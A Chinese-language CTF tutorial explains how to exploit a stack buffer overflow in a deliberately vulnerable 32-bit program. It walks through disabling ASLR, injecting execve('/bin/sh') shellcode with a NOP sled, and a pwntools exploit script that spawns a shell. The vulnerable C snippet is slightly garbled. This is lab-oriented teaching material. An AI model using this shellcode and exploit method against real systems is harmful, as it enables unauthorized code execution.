从0开始CTF-PWN（三）没有system怎么办？构造你的shellcode
1.2 本节说明
之前我们是利用程序代码中已经存在的system函数直接返回shell，本篇会介绍当程序没有提供shell返回的时候，如何构造一个shell。
同样，教程需要对c语言和汇编有一些基本理解，分析过程中遇到问题会穿插对应知识点的方式进行说明。
二、环境设置及编译说明
2.1 环境设置
为了降低入门难度，会关闭操作系统的地址空间随机化（ASLR），这是针对栈溢出漏洞被操作系统广泛采用的防御措施。
# 注意，下面是临时修改方案，系统重启后会被重置为2
echo 0 > /proc/sys/kernel/randomize_va_space
2.2 编译源文件
在实验环境创建.c源代码文件，使用如下命令进行编译。
gcc-4.8 -g -m32 -O0 -fno-stack-protector -z execstack -o [可执行文件名] [源文件名]
知识点——编译参数说明
[*]-m32：使用32位编译
[*]-O0：关闭所有优化
[*]-g：在可执行文件中加入源码信息
[*]-fno-stack-protector：关闭栈保护
[*] -z execstack：启用栈上代码可执行
三、构造shell
3.1 pwn_test_bof2.c程序
我们来看这样一段程序：
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf;
if (argc < 2) return 1;
strcpy(buf, argv);
printf("Input:%s\n", buf);
return 0;
}
这次我们就只有一个main函数，main函数通过strcpy拷贝argv到事先定义的buf数组中，然后将buf打印出来。
根据上一节所学的知识，我们知道当argv的长度超过128时，就会发生栈溢出，但是没有system函数可以给我们提供shell了，要怎么办呢？
使用如下命令进行编译：
gcc-4.8 -g -m32 -O0 -fno-stack-protector -z execstack -o pwn_test_bof2_32-gcc4.8 pwn_test_bof2.c
3.2 构造特殊的栈结构
栈结构回顾
我们先来回顾一下上一节中关于函数调用与返回的栈结构。
调用结束时，栈变化的核心任务是弹出被调用函数（callee）的状态，并将整个栈恢复到调用函数（caller）的状态。首先弹出被调用函数（callee）的局部变量，然后将栈上存储的调用函数（caller）的基地址从栈内弹出，并重新保存到ebp寄存器中，这样调用函数的基地址信息得以恢复，此时栈顶会指向返回地址。最后将返回地址从栈顶弹出，并保存到eip寄存器内，这样调用函数的eip指令信息得以恢复，指向了调用函数后的下一条语句。
构造的栈结构
注意上文最后一句“最后将返回地址从栈顶弹出...指向了调用函数后的下一条语句”，由于程序并没有关闭栈上可执行（编译时使用了-z execstack参数，也就是说可以在栈上执行代码），如果我们将函数的返回地址改到栈上，并在栈上放置我们精心准备过的获取shell的指令语句，使得函数返回时跳转到shellcode去执行。不就可以获得shell了吗？
**注意：此时虽然栈被弹出了，但只是栈顶指针的位置发生了变化，之前的写入内存的buf数组其数据并没有被清理（根据cdecl调用约定退出main函数时才被清理），所以我们可以用于跳转。
3.3 什么是shellcode
shellcode就是一串可以返回shell的机器指令码，在linux上典型的有：Linux/x86 - execve(/bin/sh) + Polymorphic Shellcode (48 bytes)
对应代码为：
char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80"
"\x6c\x0e\xff\x01\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff"
"\x32\xc1\x51\x69\x30\x30\x74\x69"
"\x69\x30\x63\x6a\x6f\x8a\xe4\x51"
"\x54\x8a\xe2\x9a\xb1\x0c\xce\x81";
shellcode本质就是就是一串机器码，执行后提供shell。
3.4 攻击思路
根据上面的分析，我们需要如下计算步骤：
[*]找出buf变量地址。我们可以从buf一开始就写入shellcode，也可以填写一段padding后再写入shellcode。记录shellcode填充的位置。
[*]找出main函数返回地址。
[*] 计算main函数返回地址与buf变量地址2者的偏移量，在填充完shellcode后，再填充差值长度的padding，使得可以覆盖返回地址，并将返回地址指向shellcode所在位置。
思路明确，我们现在开始来逐步调试。
* 找出buf地址
我们先随意输入一个字符串作为参数，调试过程中观察在执行完strcpy函数后特殊字符出现在哪个位置，即可快速判断buf的起始位置。
查看函数汇编代码后在strcpy的下一行下断点，并输入r(run)指令执行，这个时候已经完成了函数调用，另外在ret指令下第二个断点，从上一篇中我们知道，此时栈顶即为返回地址。
disassemble main
# 下断点
b *0x080491ae
b *0x080491c8
执行并观察断点1处时的栈空间：# 执行
r
# 查看50空间的栈（由于buf数组较长，我们这里查看50长度的空间）
stack 50
可以看到buf的起始地址为0xffffd580，记录下来。
* 找出main函数返回地址
输入c继续执行到第二个断点，我们来验证下地址是不是上图中我们猜测的。
# 继续执行
c
可以看到确实是我们猜测的地址，在栈上的位置为0xffffd60c，另外也说明了可以通过类似<__libc_start_main+241>的关键字去找返回地址。
* 计算偏移量差值，覆盖返回地址
于是我们可以计算偏移量差值为140：
gdb-peda$ p/d 0xffffd60c - 0xffffd580
$2 = 140
* 尝试构造Payload
于是我们可以构造如下的payload结构，这里buf的起始地址位置就是填在返回地址所在位置：
shellcode + padding + buf的起始地址
# payload：shellcode(48字节) + padding(140-48=92字节) + buf的起始地址(注意要转换成小端序)
"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "A"*(140-48) + "\x80\xd5\xff\xff"
在命令行里执行，却发现报错了，是我们哪里出错了吗？
问题分析
其实这是因为我们一开始调试的时候用的是4位参数AAAA进行调试的，但是我们上面payload输入的是140+4位的长度，导致程序分配的buf的地址发生了变化，起始地址不在是0xffffd580。所以我们重新整理下解题思路应该如下：
[*]先找出偏移量（偏移量不会变化）
[*]输入偏移量+4长度的字符，获得此时buf的起始地址
[*] 构造payload
输入144位长度的字符作为参数，并检查返回地址是否被正确覆盖。这里输入：
# "A"*140+"CCCC"
gdb -q -args ./pwn_test_bof2_32-gcc4.8 $(python -c 'print "A"*140+"CCCC"')
重新执行上面的下断点步骤查看buf起始地址和函数返回地址，发现输入长度变化后确实起始地址也跟着变化了，同时验证了原来是main函数返回地址的位置已经被替换成了我们预计的CCCC，证明偏移量是没有发生变化的。
得到144输入长度下buf的起始地址应该为0xffffd4f0。
* 再次构造payload
# 注意这里我们使用gdb来执行
gdb -q -args ./pwn_test_bof2_32-gcc4.8 $(python -c 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "A"*(140-48) + "\xf0\xd4\xff\xff"')
gdb-peda$ starti
gdb-peda$ r
可以看到我们终于成功得到了shell：
但是你会发现如果不在gdb中执行，直接外部执行——又报错了，这又是为啥呢？
* 增加NOP链
这是因为gdb在运行时，会往栈上添加许多进程使用的环境变量，导致栈的地址变低了，但是直接运行时，没有这些环境变量，所以地址会比gdb中查询获得的高。对于这个问题，我们可以NOP链来绕过。
知识点1：NOP指令
NOP指令，也称作“空指令”，在x86的CPU中机器码为0x90(144)。NOP不执行操作，但占一个程序步。——也就是说当遇到NOP指令的时候，程序不会做任何事，而是继续执行下一条指令。
我们可以改造一下payload，在头部放上一段NOP指令，然后再跟上shellcode，并适当偏移之前的buf起始地址，这样当返回地址指向这段NOP指令中的任意一个地址时，因为NOP空指令的关系，会一直找下去，直到遇到shellcode，这样就大大提高了命中率。对于栈可执行程序而言，这是一种很有效的命中方式。
增加链后的payload
我们计划插入60长度的NOP，并把上面查询获得的buf地址+60。
# 使用python快速计算
>>> hex(0xffffd4f0+60)
'0xffffd52c'
构造payload
./pwn_test_bof2_32-gcc4.8 $(python -c 'print "\x90"*60 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "A"*(140-48-60) + "\x2c\xd5\xff\xff"')
执行得到shell：
知识点2：使用pwntools.cyclic()快速定位偏移量
这里补充一个快速定位偏移量的好工具cyclic()
在本例中，这样使用：
# 进入python并加载pwntools
root@kali-linux:~# python
>>> from pwn import *
# 生成一个200长度的有序字符串
>>> cyclic(200)
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
>>>
然后将这个串作为参数输入程序：
gdb -q -args ./pwn_test_bof2_32-gcc4.8 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
gdb-peda$ starti
gdb-peda$ r
会看到如下输出：
这里的0x6261616b表示函数返回到这个地址了，我们把这个放到cyclic_find()里找一下，可以看到返回了正确的偏移量。
>>> cyclic_find(0x6261616b)
140
3.6 pwntools实现
这里提供了pwntools攻击的实现。
# coding:utf-8
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
payload = "\x90" * 60
# shellcode
payload += "\xeb\x11\x5e\x31\xc9\xb1\x32\x80"
payload += "\x6c\x0e\xff\x01\x80\xe9\x01\x75"
payload += "\xf6\xeb\x05\xe8\xea\xff\xff\xff"
payload += "\x32\xc1\x51\x69\x30\x30\x74\x69"
payload += "\x69\x30\x63\x6a\x6f\x8a\xe4\x51"
payload += "\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"
payload += "A" * (140 - 48 - 60) + p32(0xffffd52c)
p = process(argv=['/home/pwn/test/pwn_test_bof2_32-gcc4.8', payload])
p.interactive()
四、总结
我们再来回顾下我们是如何自己构造一个shell的：
[*]先找出偏移量（可以利用cyclic工具）
[*]输入偏移量+4长度的字符，获得此时buf的起始地址
[*] 构造payload：
NOP*N + shellcode + padding*(偏移量-shellcode长度-NOP长度) + (shellcode地址)
我们现在知道了怎么构造自己的shell了，但是这一切都是建立在栈上代码可以执行这一基础上的，现在的应用大部分都不太可能打开-z execstack参数了，那么我们继续思考，当栈不可执行时，我们又要怎么获得Shell呢？
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